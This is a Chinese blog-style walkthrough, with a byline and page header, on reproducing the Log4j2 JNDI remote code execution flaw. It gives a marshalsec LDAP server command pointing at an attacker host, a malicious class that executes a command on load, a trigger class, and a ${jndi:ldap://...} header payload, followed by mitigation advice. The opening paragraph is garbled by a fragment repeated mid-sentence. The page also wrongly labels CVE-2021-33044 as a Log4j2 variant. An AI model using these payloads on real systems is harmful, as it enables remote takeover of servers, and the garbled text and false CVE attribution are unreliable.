cve202133044漏洞复现
作者:百科 来源:时尚 浏览: 【大 中 小】 发布时间:2026-10-17 06:19:55 评论数:
2021年12月,洞复Apache Log4j2 被曝出一个远程代码执行漏洞,洞复CVSS评分10.0。洞复这个分数意味着什么?洞复满分。攻击者不需要任何认证,洞复不需要和目标系统有任何交互,洞复发一个字符串就能拿到服务器权限。洞复CVE-2021-33044 是洞复其中一个变体——准确说,它跟最初的洞复 CVE-2021-44228 属于同一家族,触发路径略有不同,洞复但核心问题一样:Log4j2 在记录日志时,洞复会解析 ${ } 包裹的洞复内容,而其中 ${ jndi:ldap://...} 这种写法,洞复会触发 JNDI 远程加载。洞复
要复现这个漏洞,洞复环境搭建其实不复杂,但有几个坑我踩过,值得先说出来。
环境准备:别急着上最新版
你需要一个存在漏洞的 Log4j2 版本。2.14.1 及以下都受影响,2.15.0-rc1 修了 JNDI 远程加载但没修本地利用,2.15.0-rc2 才真正堵住大部分路径。我直接用了 2.14.1,从 Maven 拉下来就行。
Java 版本也有讲究。JDK 8u191 之后,JNDI 默认不再信任远程 codebase,这会让利用链断掉。所以要么用低版本 JDK(比如 8u181),要么在启动参数里手动加 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true。我图省事,直接切了 JDK 8u181。
攻击机这边,需要两样东西:一个 LDAP 服务,用来返回恶意引用;一个 HTTP 服务,托管编译好的 .class 文件。很多人用 marshalsec 起 LDAP,我也用了,命令就一行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:8888/#Exploit" 它会在 1389 端口监听,收到请求后返回一个指向 http://192.168.1.100:8888/Exploit.class 的引用。
写一个能弹计算器的 Exploit
恶意类不需要多复杂,能证明执行就行。我写了个最简单的:
public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } } 编译成 .class 放到 HTTP 根目录。注意,类名必须和文件名一致,包名可以没有,但 LDAP 返回的 URL 里 # 后面跟的类名要匹配。
触发点在哪
漏洞触发不挑地方,只要 Log4j2 打印了用户可控的字符串。我写了个最简的测试类:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnDemo { private static final Logger logger = LogManager.getLogger(VulnDemo.class); public static void main(String[] args) { logger.error("${ jndi:ldap://192.168.1.100:1389/Exploit}"); } } 跑起来,计算器就弹出来了。整个过程不到两秒。
但这里有个细节:如果你用的是 IDE 直接运行,可能会因为 classpath 里混入了高版本 JDK 的模块而失败。我一开始在 IDEA 里跑没反应,换成命令行 java -cp 指定依赖才成功。别小看这个,排查了快半小时。
为什么这个漏洞影响这么大
Log4j2 的装机量太恐怖了。它不像某些组件只出现在特定框架里,而是被 Kafka、Elasticsearch、Spring Boot 默认日志系统间接依赖。你甚至不知道自己用了它。攻击面广到这种程度,10.0 分不冤。
而且利用门槛极低。不需要反序列化链,不需要绕过复杂防护,一个 ${ jndi:} 字符串就够。我试过在 HTTP Header 里塞 payload,比如 User-Agent: ${ jndi:ldap://...},只要服务端用 Log4j2 记录了 Header,照样中招。
修复建议不是升级就完事
官方在 2.15.0-rc2 里默认禁用了 JNDI 消息查找,但如果你代码里显式用了 ${ jndi:},还是得手动关。更稳妥的做法是设 log4j2.formatMsgNoLookups=true,或者直接升级到 2.17.1 以上。
另外,别以为内网就安全。这个漏洞的典型利用场景就是先通过外网服务打进来,再横向移动到内网。JDK 版本限制只挡了远程 codebase,本地 classpath 利用在特定条件下依然可行。
复现这个漏洞的意义不在于炫技,而是理解一个看似无害的日志组件,怎么因为一个设计决策变成核弹级入口。Log4j2 的 lookup 机制本意是方便配置动态化,结果成了 RCE 直通车。这种“功能即漏洞”的案例,比单纯的缓冲区溢出更值得警惕。
